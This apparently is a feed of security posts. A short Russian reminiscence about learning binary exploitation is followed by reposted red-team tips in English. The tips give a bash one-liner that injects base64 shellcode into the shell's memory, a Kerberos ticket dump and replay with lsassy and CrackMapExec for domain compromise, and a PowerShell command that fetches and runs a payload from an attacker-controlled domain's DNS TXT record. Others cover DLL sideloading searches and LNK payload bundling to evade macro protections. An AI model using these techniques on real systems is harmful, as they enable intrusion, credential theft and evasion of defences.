В преддверии ИБ-мероприятия от «BSS-Безопасность» и Yandex Cloud и после разговоров про реверсы и пывны в грядущем цЭтЭэФе меня пробило на ностальжи, и я вспомнил про мою провалившуюся попытку найти себе применение в этой области.

Для этого 3 года назад, когда деревья были зеленее, я заставил себя написать цикл из четырёх статей для ][ — «В королевстве PWN» — в надежде, что меня увлечет бинарщина, и что я хоть чему-то смогу тут научиться. Будучи особенным ребенком в семье, я провалил как первый, так и второй таск 🤷🏻‍♂️

Anyways, мб кто-то сможет извлечь пользу из этого цикла — там можно найти вступительные гайды по разным вариациям срыва стека. А я уже все забыл.

Today I release my first offensive software. Nothing magic, but I needed a tool to search in SharePoint. I took a lot of inspiration from Snaffler (from @mikeloss and @sh3r4_hax). I borrowed some code from PnP-Tools and here is SnaffPoint: https://t.co/cunDSVsE00

I've been accumulating some stuff over the past couple weeks. Here's a few shellcode execution methods I've found digging through Windows APIs and the Google results after page 2. https://t.co/wj3tBW7Esp

Searching for DLL Sideloading binaries? A short Powershell Script in combination with Siofra will give you thousands of possible combinations.

Either try to replace any Windows DLL Import with your payload DLL or search for Phantom DLLs.

Run your shellcode directly from bash:

dd of=/proc/$$/mem bs=1 seek=$(($(cut -d" " -f9</proc/$$/syscall))) if=<(base64 -d<<<utz+IUO+aRkSKL+t3uH+McCwqQ8F) conv=notrunc

"All our admin are in the Protected Users group, we must be secure !"

The actual security 🔽
1⃣ Dump kerberos tickets with lsassy (thanks to @remiescourrou)
2⃣ Convert & Import 🔄
3⃣ CrackMapExec <fqdn> -u user -p '' -k
4⃣ You have 4-hour to compromise the domain 🔥😋

Sexy tip for your red team ops: avoid IEX and Invoke-WebRequest in your PowerShell commands. Instead, host a text record with your payload at one of your (unburned) domains and do this: "powershell . (nslookup -q=txt some.owned.domain.com)[-1]"

☢️ Can confirm: Macros killed in Office 365, 2207 (Build 15427.20210)

1. if doc has MOTW, macros are disabled.
2. if doc is opened from MOTW flagged ISO/IMG, macros are disabled

ISOs are no longer effective containers for MOTW evasion.

However, bundling payloads into LNK is 🔥
